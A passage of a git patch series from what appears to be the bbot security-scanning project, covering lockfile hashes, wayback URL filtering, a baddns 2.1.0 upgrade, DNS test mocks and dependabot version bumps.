"sha256:072b0f20ed5a23ce9a69d93fc0f4f840ca03e92a02290640c32c08e51e85e09a", size = 2591749, upload-time = "2026-04-15T20:32:43.158Z" }, + { url = "https://files.pythonhosted.org/packages/85/c8/d784d1df9d930183b991822954dc31aeae2b3947147ce9d53d12eb7a3822/blastdns-1.9.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:337771fc54faafbdda2206426c362839961253a4959135767e9014ff4db879ca", size = 2650821, upload-time = "2026-04-15T20:32:21.943Z" }, + { url = "https://files.pythonhosted.org/packages/b8/98/0b3d1d6b5ff0cf1c404a9b8c7948102d724e767cf22ddedf9a3bd239a1ec/blastdns-1.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6015697b4fe9dc4ff2bc397367ae726c6e6cd87bdb86e1d6b5c6856d0914beb7", size = 2517319, upload-time = "2026-04-15T20:32:15.85Z" }, + { url = "https://files.pythonhosted.org/packages/b8/8b/ecc1e80fe8aa9ac5677c62d9c6d7bb6c2c68025d99f2ff81dc6be5eb907f/blastdns-1.9.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:01b2f1da7fe1fb44fd1af52c337979bb7284b727f971d83aa761a4887a22adb2", size = 2446094, upload-time = "2026-04-15T20:31:00.43Z" }, + { url = "https://files.pythonhosted.org/packages/1d/9e/0ac6101f9b597c61d3997623c0a3e5e7be4071461c8a2986851f3739da32/blastdns-1.9.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:147d815a686771709c96803319233218310efb0247644df4f0d6958cb4f9b65c", size = 2320171, upload-time = "2026-04-15T20:31:14.233Z" }, + { url = "https://files.pythonhosted.org/packages/10/e4/d195149ab6402b157474ee93212b393a644eedea5f005a2aa0e650c3e4bb/blastdns-1.9.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:ad4d1bb7b9fa57a7aec368a84d6830663b8f16550769edf273cf21e992425824", size = 2551099, upload-time = "2026-04-15T20:31:55.683Z" }, + { url = "https://files.pythonhosted.org/packages/c8/b0/c711045dd0ba9f15938930f75c66e57c6ae4962c821f6b0f43364d3799ff/blastdns-1.9.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:f2af21539691a44409020ef2260b63ac8f4ae0ee838a8e21ba51d3d480c2015c", size = 3519937, upload-time = "2026-04-15T20:31:29.379Z" }, + { url = "https://files.pythonhosted.org/packages/4c/72/2a0d2f09018e3461b16c5d64a72b7660dad97cc2eb1e0479f11a705f1db9/blastdns-1.9.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:c110f4de3839e204dc0ec97da33d01cdc78c9ffde991f583b735bf9df4c90b8d", size = 2508859, upload-time = "2026-04-15T20:31:42.963Z" }, + { url = "https://files.pythonhosted.org/packages/26/f6/5c1d954dfc4d6f420dea661dc7eb228f2fd6d31954e3d492888be426f97c/blastdns-1.9.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:743b1501d9a625f6d0dd8ed668fd96241646bd6f70399992af43f8fef5fc42d9", size = 2439876, upload-time = "2026-04-15T20:32:06.166Z" }, + { url = "https://files.pythonhosted.org/packages/1f/71/c5a3837136449a1f5f3f14fb251fb318d48d5611755fc972fc2868473fbb/blastdns-1.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c4b0b8ca367405807b14d63f57805ca2af21c651afd07feae5db32fbaaa63f7", size = 2624052, upload-time = "2026-04-15T20:32:30.895Z" }, + { url = "https://files.pythonhosted.org/packages/59/e5/9ee26448806cc548d147a32811b406646c1530bdf66f9ef42bd232b95dfe/blastdns-1.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:8f4141a04a887e45f77e92fe5ae290c017275985b96455c2aa05084220b12423", size = 2594969, upload-time = "2026-04-15T20:32:44.441Z" }, + { url = "https://files.pythonhosted.org/packages/53/ea/b5ac534f37548ae80edfb915c7a1cbd764fb92ab62cc87d360b8f951d11e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e5d4e64d0cdfef7e31d1e4c9124cc901d801fd1925c0add743dd4b5dac5ab48d", size = 2445855, upload-time = "2026-04-15T20:31:02.055Z" }, + { url = "https://files.pythonhosted.org/packages/53/15/43ce6b8ef5ba5e5d1ffb9ad4dbf9148ea2356e556cb1d3925ffc35fcd4d9/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9078d39a13c467185dbe205b3121ef6667b452612e64a9a83670d38a4ff8f280", size = 2320251, upload-time = "2026-04-15T20:31:16.119Z" }, + { url = "https://files.pythonhosted.org/packages/a9/e8/52dc13fd874bc0cc02b850ae87781bd53b1bdb6f6efa2b6b769a4bd16106/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:712ff165713d9624a0811d94e2a555af15339f11df7fae9535aebd0de3577730", size = 3523183, upload-time = "2026-04-15T20:31:31.017Z" }, + { url = "https://files.pythonhosted.org/packages/fc/be/f129125b775e40c17624fb97550393528fa69dbb945f56fa01ba4cde797e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:c31fb423922e491d87435d497a3ad571fdd1200b9d9a51322fbee2aff0275d15", size = 2512967, upload-time = "2026-04-15T20:31:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/5b/fd/38b3d4986f984eb9f61987f312fb851c3c7943678f7685ff1803ac061eb8/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:269e2f84e83c5a4c48e05c8222670289935ef9504184f6742e8049ded205d67f", size = 2622821, upload-time = "2026-04-15T20:32:32.222Z" }, + { url = "https://files.pythonhosted.org/packages/a3/84/0f0a9d767389b43edeae21f2665c5c745e2e4a056c697515962a7b4fe463/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b2c751284fe68dcf70e3f9de11c6c7cbe228473c152563ad0a781fc4a95ed484", size = 2593955, upload-time = "2026-04-15T20:32:45.822Z" }, + { url = "https://files.pythonhosted.org/packages/88/f0/c44a8092fae154af9fc74d21ae3639a1544500c0a0516dc31a8a086d3ad4/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:03f5dd6a4dfa45d5972a3be01f704264b43bb6d02b86b7eba132070c9f18f286", size = 2452601, upload-time = "2026-04-15T20:31:04.974Z" }, + { url = "https://files.pythonhosted.org/packages/08/3c/d3136a70d9b8dc3349a3a11753b5cd459168fe244ae983d0d5ba81e2d6be/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:1e2621a878baa1be84b910fb2b7d492184f484988f5d572746b2e555c89926d7", size = 2322996, upload-time = "2026-04-15T20:31:19.091Z" }, + { url = "https://files.pythonhosted.org/packages/64/a1/3dea21c2a56f85e9ca11b97cef0282b40737c9c1f35769ace9c4501aa790/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:356fde1c078710dd93d627282c18945390d74cca7cad7c334a50624ebb7c9f9d", size = 2560325, upload-time = "2026-04-15T20:31:58.318Z" }, + { url = "https://files.pythonhosted.org/packages/4a/9f/46ba0541a4f2c9f473b6841983a5760dd18462ddcf702f6569328aa9de01/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:7d189845c2982e354127426923fdda4342cf083ce5b75b4f8276ca7d9bfc196a", size = 3522302, upload-time = "2026-04-15T20:31:34.43Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9d/e2fdd3f5bfddf50b37d243fcfced48a3352d1e573c7f025229c67e3bbf00/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:1b41c108de569a822697dab53e15e2bc30fb59d3546c172903f9e66c19826282", size = 2510299, upload-time = "2026-04-15T20:31:47.831Z" }, + { url = "https://files.pythonhosted.org/packages/fc/10/a981c619876586b6b4a9763e80eea405ff7f3917ab3b5d35bc9db2565123/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fbab1fe79723547ee03c861368769e38605e87cfb8be2858f60ad497aaca2520", size = 2444480, upload-time = "2026-04-15T20:32:09.231Z" }, + { url = "https://files.pythonhosted.org/packages/45/0d/7451f1a7bea17f39b25fe3ddbc74271c31c0b8b81b84cf5fb5b8f01ba1ed/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:378e95b2723eabf23ffb04ed0bd326aa5661d4ae3396a8326ad2ffcc324d4bff", size = 2629253, upload-time = "2026-04-15T20:32:35.696Z" }, + { url = "https://files.pythonhosted.org/packages/b7/a1/ef1c8049ada69185f6276e42c33e50d18cea464037195bbf9260a3da8d64/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:e4facab544265314dbf212ee015138ec823529e006b306e030ad5a4c2d4a6ec3", size = 2598351, upload-time = "2026-04-15T20:32:48.896Z" }, ] [[package]] From a23a3122b50b02a590148c5002d5e82f582f82a9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 15 Apr 2026 23:47:34 -0400 Subject: [PATCH 520/912] Skip non-HTTP archived URLs in wayback, truncate sanitization warnings Filter ftp:// and other non-HTTP URLs in _pre_process_urls() before they enter the archive cache. Truncate event data in ValidationError messages to 200 chars to prevent terminal flooding. --- bbot/core/event/base.py | 6 ++++-- bbot/modules/wayback.py | 3 +++ 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 7be86ab4f1..b7edb150bf 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -258,7 +258,8 @@ def __init__( self.data = self._sanitize_data(data) except Exception as e: log.trace(traceback.format_exc()) - raise ValidationError(f'Error sanitizing event data "{data}" for type "{self.type}": {e}') + data_preview = str(data)[:200] + "..." if len(str(data)) > 200 else str(data) + raise ValidationError(f'Error sanitizing event data "{data_preview}" for type "{self.type}": {e}') if not self.data: raise ValidationError(f'Invalid event data "{data}" for type "{self.type}"') @@ -2206,7 +2207,8 @@ def make_event( data = validators.validate_host(data) except Exception as e: log.trace(traceback.format_exc()) - raise ValidationError(f'Error sanitizing event data "{data}" for type "{event_type}": {e}') + data_preview = str(data)[:200] + "..." if len(str(data)) > 200 else str(data) + raise ValidationError(f'Error sanitizing event data "{data_preview}" for type "{event_type}": {e}') data_is_ip = is_ip(data) if event_type == "DNS_NAME" and data_is_ip: event_type = "IP_ADDRESS" diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 6ec3f9238b..5f2338b8af 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -315,6 +315,9 @@ def _pre_process_urls(self, urls): continue if not (parsed.hostname and self.scan.in_scope(parsed.hostname)): continue + # skip non-HTTP URLs (e.g. ftp:// archived by the Wayback Machine) + if parsed.scheme not in ("http", "https"): + continue cleaned_str = clean_url(url).geturl() From 97fafda3e3e8b2c5aeefc84c67ab934565f6b6ac Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Apr 2026 01:27:31 -0400 Subject: [PATCH 521/912] Fix iis_shortnames test referencing deleted httpx module Replace httpx with http in TestIIS_Shortnames_GatewayError modules_overrides. --- .../test/test_step_2/module_tests/test_module_iis_shortnames.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py index abc2f14719..0821eba42e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py @@ -110,7 +110,7 @@ class TestIIS_Shortnames_GatewayError(ModuleTestBase): """Negative test: server returns 502 gateway errors. Should NOT detect IIS shortnames.""" targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "iis_shortnames"] + modules_overrides = ["http", "iis_shortnames"] async def setup_after_prep(self, module_test): module_test.httpserver.no_handler_status_code = 404 From 487833fa72706ab65386a0e780c2d571e3549482 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Apr 2026 10:23:39 -0400 Subject: [PATCH 522/912] =?UTF-8?q?Bump=20baddns=20to=202.1.0,=20pass=20bl?= =?UTF-8?q?astdns=20client,=20MODERATE=E2=86=92MEDIUM?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Update deps_pip and pyproject.toml to baddns~=2.1.0 - Pass self.scan.helpers.dns.blastdns as dns_client (was .resolver) - Replace MODERATE confidence level with MEDIUM to match baddns 2.1.0 --- bbot/modules/baddns.py | 16 ++++++++-------- bbot/modules/baddns_direct.py | 8 ++++---- bbot/modules/baddns_zone.py | 6 +++--- bbot/presets/baddns.yml | 2 +- pyproject.toml | 2 +- 5 files changed, 17 insertions(+), 17 deletions(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index ace72c9c68..515b54b221 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -5,7 +5,7 @@ import logging SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") -CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") +CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED") SUBMODULE_MAX_SEVERITY = { "CNAME": "MEDIUM", @@ -45,15 +45,15 @@ class baddns(BaseModule): "created_date": "2024-01-18", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE", "enabled_submodules": []} + options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MEDIUM", "enabled_submodules": []} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", - "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", + "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", "enabled_submodules": "A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", } module_threads = 8 - deps_pip = ["baddns~=2.0.0"] + deps_pip = ["baddns~=2.1.0"] def select_modules(self): selected_submodules = [] @@ -96,13 +96,13 @@ async def setup(self): if self.custom_nameservers: self.custom_nameservers = self.helpers.chain_lists(self.custom_nameservers) min_severity = self.config.get("min_severity", "LOW").upper() - min_confidence = self.config.get("min_confidence", "MODERATE").upper() + min_confidence = self.config.get("min_confidence", "MEDIUM").upper() if min_severity not in SEVERITY_LEVELS: self.warning(f"Invalid min_severity: {min_severity}, defaulting to LOW") min_severity = "LOW" if min_confidence not in CONFIDENCE_LEVELS: - self.warning(f"Invalid min_confidence: {min_confidence}, defaulting to MODERATE") - min_confidence = "MODERATE" + self.warning(f"Invalid min_confidence: {min_confidence}, defaulting to MEDIUM") + min_confidence = "MEDIUM" self._min_sev_idx = SEVERITY_LEVELS.index(min_severity) self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence) self.signatures = load_signatures() @@ -149,7 +149,7 @@ async def handle_event(self, event): for ModuleClass in self.select_modules(): kwargs = { "http_client_class": self._new_http_client, - "dns_client": self.scan.helpers.dns.resolver, + "dns_client": self.scan.helpers.dns.blastdns, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, } diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index f4093fa8cc..243f224a11 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -10,14 +10,14 @@ class baddns_direct(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE"} + options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MEDIUM"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", - "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", + "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", } module_threads = 8 - deps_pip = ["baddns~=2.0.0"] + deps_pip = ["baddns~=2.1.0"] scope_distance_modifier = 1 @@ -28,7 +28,7 @@ async def handle_event(self, event): CNAME_direct_module = self.select_modules()[0] kwargs = { "http_client_class": self.scan.helpers.web.AsyncClient, - "dns_client": self.scan.helpers.dns.resolver, + "dns_client": self.scan.helpers.dns.blastdns, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, "direct_mode": True, diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 3f81906395..e13140c70a 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -10,14 +10,14 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "INFO", "min_confidence": "MODERATE"} + options = {"custom_nameservers": [], "min_severity": "INFO", "min_confidence": "MEDIUM"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", - "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", + "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", } module_threads = 8 - deps_pip = ["baddns~=2.0.0"] + deps_pip = ["baddns~=2.1.0"] def set_modules(self): self.enabled_submodules = ["NSEC", "zonetransfer"] diff --git a/bbot/presets/baddns.yml b/bbot/presets/baddns.yml index c737257011..d6e0cf76aa 100644 --- a/bbot/presets/baddns.yml +++ b/bbot/presets/baddns.yml @@ -8,4 +8,4 @@ config: baddns: enabled_submodules: [CNAME, MX, TXT] min_severity: LOW - min_confidence: MODERATE + min_confidence: MEDIUM diff --git a/pyproject.toml b/pyproject.toml index 770208479b..dd311567a5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -78,7 +78,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "ruff==0.15.2", - "baddns~=2.0.0", + "baddns~=2.1.0", ] docs = [ "mkdocs>=1.5.2,<2", From f1cd3ddd4c009eabc8c7c5c3fd3b8630a9569c1d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 16 Apr 2026 11:16:48 -0400 Subject: [PATCH 523/912] Fix baddns_zone NSEC test for blastdns MockClient compatibility --- .../module_tests/test_module_baddns_zone.py | 29 +++++++++++++++++-- 1 file changed, 26 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py index 688f105ea5..63d28929da 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py @@ -47,14 +47,37 @@ class TestBaddns_zone_nsec(BaseTestBaddns_zone): async def setup_after_prep(self, module_test): from baddns.lib.whoismanager import WhoisManager + from baddns.lib.dnsmanager import DNSManager + + # NSEC records can't go through MockClient (hickory refuses zone-file NSEC parsing), + # so we pass only non-NSEC data to mock_dns and handle NSEC via DNSManager monkeypatch. + nsec_data = { + "bad.com": ["asdf.bad.com"], + "asdf.bad.com": ["zzzz.bad.com"], + "zzzz.bad.com": ["xyz.bad.com"], + } await module_test.mock_dns( { - "bad.com": {"A": ["127.0.0.5"], "NSEC": ["asdf.bad.com"]}, - "asdf.bad.com": {"NSEC": ["zzzz.bad.com"]}, - "zzzz.bad.com": {"NSEC": ["xyz.bad.com"]}, + "bad.com": {"A": ["127.0.0.5"]}, } ) + + original_do_resolve = DNSManager.do_resolve + original_dispatch = DNSManager.dispatchDNS + + async def patched_do_resolve(self, target, rdatatype): + if rdatatype == "NSEC" and target in nsec_data: + return nsec_data[target] + return await original_do_resolve(self, target, rdatatype) + + async def patched_dispatch(self, omit_types=[]): + await original_dispatch(self, omit_types=omit_types) + if "NSEC" not in omit_types and self.target in nsec_data: + self.answers["NSEC"] = nsec_data[self.target] + + module_test.monkeypatch.setattr(DNSManager, "do_resolve", patched_do_resolve) + module_test.monkeypatch.setattr(DNSManager, "dispatchDNS", patched_dispatch) module_test.monkeypatch.setattr(WhoisManager, "dispatchWHOIS", self.dispatchWHOIS) def check(self, module_test, events): From e63a6934fe94c064db57ac60848899b290093bed Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 16 Apr 2026 13:10:00 -0400 Subject: [PATCH 524/912] work on tests --- .../test_template_subdomain_enum.py | 25 ++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index e98a63bbce..5104291cc3 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -176,14 +176,33 @@ class TestSubdomainEnumWildcardDefense(TestSubdomainEnumWildcardBaseline): dedup_strategy = "highest_parent" dns_mock_data = { - "walmart.cn": {"A": ["127.0.0.2"], "TXT": ["asdf.walmart.cn"]}, - # wildcard: every *.walmart.cn resolves to the same wildcard A record + "walmart.cn": {"A": ["127.0.0.2"], "TXT": ['"asdf.walmart.cn"']}, + # wildcard: every *.walmart.cn resolves to an A record r"regex:.*\.walmart\.cn$": {"A": ["127.0.0.99"]}, } async def setup_after_prep(self, module_test): + import random + await module_test.mock_dns(self.dns_mock_data) + # Simulate walmart.cn's real-world behavior: random subdomains each + # resolve to a *different* IP, so wildcard detection flags it as + # POSSIBLE rather than TRUE. We monkey-patch _is_wildcard_zone to + # return random IPs in its result set, mimicking the inconsistency. + _original = module_test.scan.helpers.dns._is_wildcard_zone + + async def _random_wildcard_zone(host, rdtype): + results, results_raw = await _original(host, rdtype) + if results and host.endswith("walmart.cn"): + # Replace the consistent mock IPs with random ones so the + # wildcard detector sees them as POSSIBLE, not TRUE. + results = {".".join(str(random.randint(1, 254)) for _ in range(4)) for _ in range(5)} + results_raw = {str(ip) for ip in results} + return results, results_raw + + module_test.scan.helpers.dns._is_wildcard_zone = _random_wildcard_zone + def check(self, module_test, events): # no subdomain enum should happen on this domain! assert self.queries == [] @@ -218,6 +237,6 @@ def check(self, module_test, events): e for e in events if e.type == "RAW_DNS_RECORD" - and e.data == {"host": "walmart.cn", "type": "TXT", "answer": '"asdf.walmart.cn"'} + and e.data == {"host": "walmart.cn", "type": "TXT", "answer": "asdf.walmart.cn"} ] ) From cecf0977a3971787af13e7a26eb1af4ac23c8b1b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 16 Apr 2026 17:42:58 +0000 Subject: [PATCH 525/912] Bump deepdiff from 8.6.1 to 8.6.2 Bumps [deepdiff](https://github.com/seperman/deepdiff) from 8.6.1 to 8.6.2. - [Release notes](https://github.com/seperman/deepdiff/releases) - [Changelog](https://github.com/qlustered/deepdiff/blob/master/docs/changelog.rst) - [Commits](https://github.com/seperman/deepdiff/commits) --- updated-dependencies: - dependency-name: deepdiff dependency-version: 8.6.2 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 9f14e3f899..6db7537834 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -20,7 +20,7 @@ dependencies = [ "psutil>=5.9.4,<8.0.0", "wordninja>=2.0.0,<3", "ansible-runner>=2.3.2,<3", - "deepdiff>=8.0.0,<9", + "deepdiff>=8.0.0,<10", "xmltojson>=2.0.2,<3", "pycryptodome>=3.17,<4", "idna>=3.4,<4", From 978b7ec755d0d1a79d9654609c04c7cf91a4fd06 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 16 Apr 2026 17:43:09 +0000 Subject: [PATCH 526/912] Bump ruff from 0.15.4 to 0.15.9 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.4 to 0.15.9. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.4...0.15.9) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.9 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 9f14e3f899..e89b936f5d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -77,7 +77,7 @@ dev = [ "fastapi>=0.115.5,<0.129.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", - "ruff==0.15.2", + "ruff==0.15.10", "baddns~=2.0.0", ] docs = [ From cc1ba9c7a9a77224f297c5861dc754887c909214 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 16 Apr 2026 18:20:46 +0000 Subject: [PATCH 527/912] Bump tornado from 6.5.4 to 6.5.5 Bumps [tornado](https://github.com/tornadoweb/tornado) from 6.5.4 to 6.5.5. - [Changelog](https://github.com/tornadoweb/tornado/blob/master/docs/releases.rst) - [Commits](https://github.com/tornadoweb/tornado/compare/v6.5.4...v6.5.5) --- updated-dependencies: - dependency-name: tornado dependency-version: 6.5.5 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- poetry.lock | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/poetry.lock b/poetry.lock index 4a1c42e951..5bfba2cca0 100644 --- a/poetry.lock +++ b/poetry.lock @@ -3746,24 +3746,22 @@ files = [ [[package]] name = "tornado" -version = "6.5.4" +version = "6.5.5" description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed." optional = false python-versions = ">=3.9" -groups = ["docs"] +groups = ["dev", "docs"] files = [ - {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:d6241c1a16b1c9e4cc28148b1cda97dd1c6cb4fb7068ac1bedc610768dff0ba9"}, - {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2d50f63dda1d2cac3ae1fa23d254e16b5e38153758470e9956cbc3d813d40843"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1cf66105dc6acb5af613c054955b8137e34a03698aa53272dbda4afe252be17"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:50ff0a58b0dc97939d29da29cd624da010e7f804746621c78d14b80238669335"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5fb5e04efa54cf0baabdd10061eb4148e0be137166146fff835745f59ab9f7f"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9c86b1643b33a4cd415f8d0fe53045f913bf07b4a3ef646b735a6a86047dda84"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:6eb82872335a53dd063a4f10917b3efd28270b56a33db69009606a0312660a6f"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6076d5dda368c9328ff41ab5d9dd3608e695e8225d1cd0fd1e006f05da3635a8"}, - {file = "tornado-6.5.4-cp39-abi3-win32.whl", hash = "sha256:1768110f2411d5cd281bac0a090f707223ce77fd110424361092859e089b38d1"}, - {file = "tornado-6.5.4-cp39-abi3-win_amd64.whl", hash = "sha256:fa07d31e0cd85c60713f2b995da613588aa03e1303d75705dca6af8babc18ddc"}, - {file = "tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1"}, - {file = "tornado-6.5.4.tar.gz", hash = "sha256:a22fa9047405d03260b483980635f0b041989d8bcc9a313f8fe18b411d84b1d7"}, + {file = "tornado-6.5.5-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:487dc9cc380e29f58c7ab88f9e27cdeef04b2140862e5076a66fb6bb68bb1bfa"}, + {file = "tornado-6.5.5-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:65a7f1d46d4bb41df1ac99f5fcb685fb25c7e61613742d5108b010975a9a6521"}, + {file = "tornado-6.5.5-cp39-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:e74c92e8e65086b338fd56333fb9a68b9f6f2fe7ad532645a290a464bcf46be5"}, + {file = "tornado-6.5.5-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:435319e9e340276428bbdb4e7fa732c2d399386d1de5686cb331ec8eee754f07"}, + {file = "tornado-6.5.5-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3f54aa540bdbfee7b9eb268ead60e7d199de5021facd276819c193c0fb28ea4e"}, + {file = "tornado-6.5.5-cp39-abi3-musllinux_1_2_x86_64.whl", hash = 